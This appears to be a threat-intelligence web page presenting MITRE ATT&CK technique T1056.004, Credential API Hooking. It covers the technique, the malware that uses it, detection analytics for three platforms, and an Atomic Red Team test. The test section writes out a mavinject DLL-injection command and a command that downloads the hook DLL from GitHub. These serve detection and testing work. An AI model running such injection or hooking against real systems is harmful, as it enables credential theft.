tfMITRE ATT&CK sub-technique

Credential API Hooking T1056.004

Tactics: Credential Access, Collection
Platforms: Windows, Linux, macOS
Version: 1.2
Created: 11 February 2020
Last modified: 24 October 2025

Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials.[1] Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malwareTop 24%

Tools & malware76th percentile · 76% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesNone recorded

Detection rulesNone recorded · 33% of ATT&CK techniques have none either.

Credential API Hooking MITRE reference T1056.004

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

PLATINUMG0068 ↗

Is capable of using Windows hook interfaces for information gathering such as credential access.1

created 2018-04-181 reference

All 1 groups for this technique

11 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

VersaMemS1154 ↗

Hooked and overrided Versa's built-in authentication method, setUserPassword, to intercept plaintext credentials when submitted to the server.1

created 2024-08-27MALWAREcarried by 1 group

CarberpS0484 ↗

Has hooked several Windows API functions to steal credentials.1

created 2020-07-15MALWARE

RDFSNIFFERS0416 ↗

Hooks several Win32 API functions to hijack elements of the remote system management user-interface.1

created 2019-10-11MALWAREcarried by 1 group

ZxShellS0412 ↗

Hooks several API functions to spawn system threads.1

created 2019-09-24MALWAREcarried by 3 groups

UrsnifS0386 ↗

Has hooked APIs to perform a wide variety of information theft, such as monitoring traffic from browsers.1

created 2019-06-04MALWAREcarried by 1 group

EmpireS0363 ↗

Contains some modules that leverage API hooking to carry out tasks, such as netripper.1

created 2019-03-11TOOLcarried by 17 groups

All 11 software entries for this technique · 6 newest in this preview

Offense vs defense T1056.004

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

Credential API Hooking detection strategy DET0139

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Credential Harvesting via API Hooking

Enterprise

3 platforms

AN0389 · Windows

Detects credential harvesting via userland API hooking (e.g., SetWindowsHookEx, IAT, or inline patching) by correlating memory modifications with hook installation functions and suspicious module loads in credential-sensitive processes like lsass.exe, explorer.exe, or winlogon.exe.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
Process ModificationDC0020	WinEventLog:Sysmon	EventCode=8
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TargetProcess	Credential-sensitive targets (e.g., explorer.exe, winlogon.exe) may vary by environment
AccessMask	Tuning for access rights like 0x1FFFFF for full access vs. thread injection
TimeWindow	Correlate memory access and hook setup in short windows (5–10 seconds)

AN0390 · Linux

Detects credential interception via malicious LD_PRELOAD-based shared libraries loaded into ssh, sudo, or scp processes. Correlates environment variable injection, unexpected library loads, and memory patching behavior.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	auditd:SYSCALL	LD_PRELOAD Logging
Process CreationDC0032	auditd:SYSCALL	execve

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
InjectedLibraryName	Watch for user-defined suspicious .so files (e.g., libhook.so, libshadow.so)
TargetProcessName	Hooked binaries vary by use case (e.g., ssh, login, gdm)

AN0391 · macOS

Detects DYLD_INSERT_LIBRARIES abuse to hook credential-sensitive applications by correlating process spawns with unauthorized library injection and monitoring changes to the __TEXT segment (code) of credential handling binaries.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	macos:unifiedlog	DYLD event subsystem
Process ModificationDC0020	macos:osquery	Memory Mappings
File AccessDC0055	fs:fsusage	File Access Monitor

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
DYLDInjectedPath	Tunable based on naming patterns or location of malicious dylibs
ParentProcessName	Hooking attempts may stem from terminal.app, bash, or AppleScript-based launchers

Tests1ExecutorsPowerShell 1Need elevation1 of 1Have prerequisites1Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Hook PowerShell TLS Encrypt/Decrypt Messages

windows

PowerShell

Required

—

Hooks functions in PowerShell to read TLS Communications

Input arguments

Name	Type	Default	Description
file_name	path	PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll	Dll To Inject
server_name	url	https://www.example.com	TLS Server To Test Get Request

Attack command

mavinject $pid /INJECTRUNNING "#{file_name}"
Invoke-WebRequest #{server_name} -UseBasicParsing

Prerequisite

T1056.004x64.dll must exist on disk at specified location (#{file_name})

Check

if (Test-Path "#{file_name}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" -UseBasicParsing

GUID472fae5f-c2ef-46fa-8c6a-7637a646439a

Tests from Atomic Red Team (MIT licence) · technique definition

Credential API Hooking detections T1056.004

No detection rules are mapped to this technique yet.

None recorded— 33% of ATT&CK techniques have none either

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs